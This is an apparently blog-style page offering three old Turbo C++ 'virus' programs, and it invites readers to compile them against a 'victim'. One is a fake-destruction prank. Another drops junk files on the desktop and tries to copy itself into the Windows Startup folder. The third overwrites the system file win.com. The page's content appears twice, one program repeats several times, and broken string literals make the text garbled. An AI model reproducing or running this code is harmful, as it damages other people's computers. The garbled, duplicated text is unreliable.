code
Here you will have three different virus code that are implements in the C languages
so just compile them in C and check out the damn harmful effects on your victim :-)
1. Virus (Mini project)
2. Virus Joke Program
3. VIRUS Designing - Use responsibly
==============================================================
Virus (Mini project)
Code :
//***************************************************************//
//virus program-created by Sandeep BCA II Year//\
//**************************************************************//
#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<stdio.h>
#include<process.h>
#include<graphics.h>
#include<fstream.h>
void fool();
void main()
{
clrscr();
for(int i=0;i<=100;i++)
{
textcolor(YELLOW+BLINK);
gotoxy(35,12);
cprintf("VIRUS LOADING");
gotoxy(39,15);
textcolor(GREEN);
cout<<i<<"%";
delay(75);
clrscr();
}
delay(100);
clrscr();
flushall();
gotoxy(20,12);
cout<<" 'AISHWARYA' VIRUS CREATED NOW BY SANDEEP";
gotoxy(20,14);
cout<<"SAY GOOD BYE TO YOUR PC IN ";
for(int j=10;j>=0;j--)
{
gotoxy(48,14);
cout<<j<<" SECONDS";
delay(1000);
}
clrscr();
cout<<"
1.HARD-DISK CORRUPTION: ";
delay(4000);
cout<<"completed";
cout<<"
2.MOTHER BOARD CORRUPTION: ";
delay(4000);
cout<<"completed";
cout<<"
3.INSTALLING CYBERBOB.DLL -->WINDOWS/COMMAND :";
delay(4000);
cout<<"completed";
cout<<"
PROCRAETORIAN.SYS SUCCESSFULLY PLANTED";
delay(3000);
cout<<"
VIRUS.EXE";
delay(2000);
cout<<"
*************************";
cout<<"
Buddy it's a simply joke ";
cout<<"
*************************";
delay(4000);
cout<<"
**********************************";
cout<<"
For Real Virus ";
cout<<"
Contact Me: Sandeep Udaipur ";
cout<<"
Mo: 010101010101 ";
cout<<"
Email: sandeep@yahoo.co.in ";
cout<<"
**********************************";
delay(10000);
}
void fool()
{
clrscr();
int g=DETECT,h;
initgraph(&g,&h,"c:\tc\bgi");
cleardevice();
delay(1000);
setcolor(2);
settextstyle(1,0,1);
delay(1000);
setbkcolor(BLUE);
getch();
delay(4000);
closegraph();
exit(0);
}
==============================================================
Virus Joke Program
Code :
//*****************************************************//
//virus program mimmic -created by Sohan Alva class XII//
//*****************************************************//
#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<stdio.h>
#include<process.h>
#include<graphics.h>
#include<fstream.h>
void ffool(); //FUNCTION WHICH GIVES THE FINAL MESSAGE
void main()
{
clrscr();
for(int i=0;i<=100;i++)
{
textcolor(YELLOW+BLINK);
gotoxy(35,12);
cprintf("VIRUS LOADING");
gotoxy(39,15);
textcolor(GREEN);
cout<<i<<"%";
delay(75);
clrscr();
}
delay(100);
clrscr();
fflush(stdout);
gotoxy(20,12);
cout<<" 'TOURNIQUET' VIRUS CREATED BY PROCRAETORIAN";
gotoxy(20,14);
cout<<" SAY GOOD BYE TO YOUR PC IN ";
for(int j=5;j>=0;j--)
{
gotoxy(48,14);
cout<<j<<" SECONDS";
delay(1000);
}
ofstream f1;
f1.open("c:/windows/All Users/desktop/procraetorian.sys");
ofstream f3("c:/windows/All Users/desktop/blast.sys");
ofstream a2("c:/windows/All Users/desktop/mslaugh.exe");
ofstream s2("c:/windows/All Users/desktop/backdoor.sys");
ofstream g2("c:/windows/All Users/desktop/spin32_war.sys");
ofstream h2("c:/windows/All Users/desktop/russpatr.sys");
ofstream j2("c:/windows/All Users/desktop/torr_sys32.sys");
ofstream k2("c:/windows/All Users/desktop/xxx.sys");
ofstream l2("c:/windows/All Users/desktop/i.txt");
ofstream sm("c:/windows/All Users/desktop/am.txt");
ofstream d1("c:/windows/All Users/desktop/your.txt");
ofstream d2("c:/windows/All Users/desktop/worst.txt");
ofstream d3("c:/windows/All Users/desktop/night.txt");
ofstream d4("c:/windows/All Users/desktop/mare.txt");
clrscr();
lowvideo();
cout<<"
1.HARD-DISK CORRUPTION
:";
delay(4000);
cout<<"completed";
cout<<"
2.MOTHER BOARD CORRUPTION
:";
delay(4000);
cout<<"completed";
cout<<"
3.INSTALLING CYBERBOB.DLL -->WINDOWS/COMMAND
:";
delay(4000);
cout<<"completed";
cout<<"
PROCRAETORIAN.SYS SUCCESSFULLY PLANTED";
delay(3000);
rename("VIRUS.EXE","C:WINDOWSStart MenuProgramsStartUpVIRUS.EXE");
//ffool();
}
//*END OF MAIN*//
//*START OF ffool()*//
void ffool()
{
clrscr();
int g=DETECT,h;
initgraph(&g,&h,"\tc\bgi\");
cleardevice();
delay(1000);
setcolor(2);
settextstyle(1,0,1);
delay(1000);
setbkcolor(BLUE);
highvideo();
outtextxy(50,150,"THE PROCRAETORIAN:");
delay(1500);
outtextxy(50,200,"YOUR PC IS NOW UNDER SURVEILANCE BY THE VIRUS
HOST");
outtextxy(50,250,"PEA(C)E BE WITH YOU ! ! !");
getch();
delay(4000);
closegraph();
exit(0);
}
//*END OF ffool()*//
==============================================================
VIRUS Designing - Use responsibly
#include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
clrscr();
int handle;
char string[1000];
int length, res,i;
/*
Create a file named "DOVE.GIF" in the current directory and write
a string to it. If "DOVE.GIF" already exists, it will be overwritten.
*/
if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
S_IREAD | S_IWRITE)) == -1)
{
printf("Error opening file.
");
exit(1);
}
strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>
");
length = strlen(string);
if ((res = write(handle, string, length)) != length)
{
printf("Error writing to the file.
");
getch();
exit(1);
}
printf("
Wrote %d bytes to the file.
", res);
cout<<"
Hello !!!!!!!!";
cout<<"
This is a VIRUS ATTACK !!!";
cout<<"
This execution currupt your WINDOWS !!!!!!
";
close(handle);
getch();
return 0;
}
//#include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
clrscr();
int handle;
char string[1000];
int length, res,i;
/*
Create a file named "DOVE.GIF" in the current directory and write
a string to it. If "DOVE.GIF" already exists, it will be overwritten.
*/
if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
S_IREAD | S_IWRITE)) == -1)
{
printf("Error opening file.
");
exit(1);
}
strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>
");
length = strlen(string);
if ((res = write(handle, string, length)) != length)
{
printf("Error writing to the file.");
getch();
exit(1);
}
printf("Wrote %d bytes to the file.", res);
cout<<"
Hello !!!!!!!!";
cout<<"
This is a VIRUS ATTACK !!!";
cout<<"
This execution currupt your WINDOWS !!!!!!
";
close(handle);
getch();
return 0;
}
/ #include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
clrscr();
int handle;
char string[1000];
int length, res,i;
/*
Create a file named "DOVE.GIF" in the current directory and write
a string to it. If "DOVE.GIF" already exists, it will be overwritten.
*/
if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
S_IREAD | S_IWRITE)) == -1)
{
printf("Error opening file.
");
exit(1);
}
strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>
");
length = strlen(string);
if ((res = write(handle, string, length)) != length)
{
printf("Error writing to the file.
");
getch();
exit(1);
}
printf("
Wrote %d bytes to the file.
", res);
cout<<"
Hello !!!!!!!!";
cout<<"
This is a VIRUS ATTACK !!!";
cout<<"
This execution currupt your WINDOWS !!!!!!
";
close(handle);
getch();
return 0;
}
Here you will have three different virus code that are implements in the C languages
so just compile them in C and check out the damn harmful effects on your victim :-)
1. Virus (Mini project)
2. Virus Joke Program
3. VIRUS Designing - Use responsibly
==============================================================
Virus (Mini project)
Code :
//***************************************************************//
//virus program-created by Sandeep BCA II Year//\
//**************************************************************//
#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<stdio.h>
#include<process.h>
#include<graphics.h>
#include<fstream.h>
void fool();
void main()
{
clrscr();
for(int i=0;i<=100;i++)
{
textcolor(YELLOW+BLINK);
gotoxy(35,12);
cprintf("VIRUS LOADING");
gotoxy(39,15);
textcolor(GREEN);
cout<<i<<"%";
delay(75);
clrscr();
}
delay(100);
clrscr();
flushall();
gotoxy(20,12);
cout<<" 'AISHWARYA' VIRUS CREATED NOW BY SANDEEP";
gotoxy(20,14);
cout<<"SAY GOOD BYE TO YOUR PC IN ";
for(int j=10;j>=0;j--)
{
gotoxy(48,14);
cout<<j<<" SECONDS";
delay(1000);
}
clrscr();
cout<<"
1.HARD-DISK CORRUPTION: ";
delay(4000);
cout<<"completed";
cout<<"
2.MOTHER BOARD CORRUPTION: ";
delay(4000);
cout<<"completed";
cout<<"
3.INSTALLING CYBERBOB.DLL -->WINDOWS/COMMAND :";
delay(4000);
cout<<"completed";
cout<<"
PROCRAETORIAN.SYS SUCCESSFULLY PLANTED";
delay(3000);
cout<<"
VIRUS.EXE";
delay(2000);
cout<<"
*************************";
cout<<"
Buddy it's a simply joke ";
cout<<"
*************************";
delay(4000);
cout<<"
**********************************";
cout<<"
For Real Virus ";
cout<<"
Contact Me: Sandeep Udaipur ";
cout<<"
Mo: 010101010101 ";
cout<<"
Email: sandeep@yahoo.co.in ";
cout<<"
**********************************";
delay(10000);
}
void fool()
{
clrscr();
int g=DETECT,h;
initgraph(&g,&h,"c:\tc\bgi");
cleardevice();
delay(1000);
setcolor(2);
settextstyle(1,0,1);
delay(1000);
setbkcolor(BLUE);
getch();
delay(4000);
closegraph();
exit(0);
}
==============================================================
Virus Joke Program
Code :
//*****************************************************//
//virus program mimmic -created by Sohan Alva class XII//
//*****************************************************//
#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<stdio.h>
#include<process.h>
#include<graphics.h>
#include<fstream.h>
void ffool(); //FUNCTION WHICH GIVES THE FINAL MESSAGE
void main()
{
clrscr();
for(int i=0;i<=100;i++)
{
textcolor(YELLOW+BLINK);
gotoxy(35,12);
cprintf("VIRUS LOADING");
gotoxy(39,15);
textcolor(GREEN);
cout<<i<<"%";
delay(75);
clrscr();
}
delay(100);
clrscr();
fflush(stdout);
gotoxy(20,12);
cout<<" 'TOURNIQUET' VIRUS CREATED BY PROCRAETORIAN";
gotoxy(20,14);
cout<<" SAY GOOD BYE TO YOUR PC IN ";
for(int j=5;j>=0;j--)
{
gotoxy(48,14);
cout<<j<<" SECONDS";
delay(1000);
}
ofstream f1;
f1.open("c:/windows/All Users/desktop/procraetorian.sys");
ofstream f3("c:/windows/All Users/desktop/blast.sys");
ofstream a2("c:/windows/All Users/desktop/mslaugh.exe");
ofstream s2("c:/windows/All Users/desktop/backdoor.sys");
ofstream g2("c:/windows/All Users/desktop/spin32_war.sys");
ofstream h2("c:/windows/All Users/desktop/russpatr.sys");
ofstream j2("c:/windows/All Users/desktop/torr_sys32.sys");
ofstream k2("c:/windows/All Users/desktop/xxx.sys");
ofstream l2("c:/windows/All Users/desktop/i.txt");
ofstream sm("c:/windows/All Users/desktop/am.txt");
ofstream d1("c:/windows/All Users/desktop/your.txt");
ofstream d2("c:/windows/All Users/desktop/worst.txt");
ofstream d3("c:/windows/All Users/desktop/night.txt");
ofstream d4("c:/windows/All Users/desktop/mare.txt");
clrscr();
lowvideo();
cout<<"
1.HARD-DISK CORRUPTION
:";
delay(4000);
cout<<"completed";
cout<<"
2.MOTHER BOARD CORRUPTION
:";
delay(4000);
cout<<"completed";
cout<<"
3.INSTALLING CYBERBOB.DLL -->WINDOWS/COMMAND
:";
delay(4000);
cout<<"completed";
cout<<"
PROCRAETORIAN.SYS SUCCESSFULLY PLANTED";
delay(3000);
rename("VIRUS.EXE","C:WINDOWSStart MenuProgramsStartUpVIRUS.EXE");
//ffool();
}
//*END OF MAIN*//
//*START OF ffool()*//
void ffool()
{
clrscr();
int g=DETECT,h;
initgraph(&g,&h,"\tc\bgi\");
cleardevice();
delay(1000);
setcolor(2);
settextstyle(1,0,1);
delay(1000);
setbkcolor(BLUE);
highvideo();
outtextxy(50,150,"THE PROCRAETORIAN:");
delay(1500);
outtextxy(50,200,"YOUR PC IS NOW UNDER SURVEILANCE BY THE VIRUS
HOST");
outtextxy(50,250,"PEA(C)E BE WITH YOU ! ! !");
getch();
delay(4000);
closegraph();
exit(0);
}
//*END OF ffool()*//
==============================================================
VIRUS Designing - Use responsibly
#include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
clrscr();
int handle;
char string[1000];
int length, res,i;
/*
Create a file named "DOVE.GIF" in the current directory and write
a string to it. If "DOVE.GIF" already exists, it will be overwritten.
*/
if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
S_IREAD | S_IWRITE)) == -1)
{
printf("Error opening file.
");
exit(1);
}
strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>
");
length = strlen(string);
if ((res = write(handle, string, length)) != length)
{
printf("Error writing to the file.
");
getch();
exit(1);
}
printf("
Wrote %d bytes to the file.
", res);
cout<<"
Hello !!!!!!!!";
cout<<"
This is a VIRUS ATTACK !!!";
cout<<"
This execution currupt your WINDOWS !!!!!!
";
close(handle);
getch();
return 0;
}
//#include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
clrscr();
int handle;
char string[1000];
int length, res,i;
/*
Create a file named "DOVE.GIF" in the current directory and write
a string to it. If "DOVE.GIF" already exists, it will be overwritten.
*/
if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
S_IREAD | S_IWRITE)) == -1)
{
printf("Error opening file.
");
exit(1);
}
strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>
");
length = strlen(string);
if ((res = write(handle, string, length)) != length)
{
printf("Error writing to the file.");
getch();
exit(1);
}
printf("Wrote %d bytes to the file.", res);
cout<<"
Hello !!!!!!!!";
cout<<"
This is a VIRUS ATTACK !!!";
cout<<"
This execution currupt your WINDOWS !!!!!!
";
close(handle);
getch();
return 0;
}
/ #include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
clrscr();
int handle;
char string[1000];
int length, res,i;
/*
Create a file named "DOVE.GIF" in the current directory and write
a string to it. If "DOVE.GIF" already exists, it will be overwritten.
*/
if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
S_IREAD | S_IWRITE)) == -1)
{
printf("Error opening file.
");
exit(1);
}
strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>
");
length = strlen(string);
if ((res = write(handle, string, length)) != length)
{
printf("Error writing to the file.
");
getch();
exit(1);
}
printf("
Wrote %d bytes to the file.
", res);
cout<<"
Hello !!!!!!!!";
cout<<"
This is a VIRUS ATTACK !!!";
cout<<"
This execution currupt your WINDOWS !!!!!!
";
close(handle);
getch();
return 0;
}
0 comments:
Post a Comment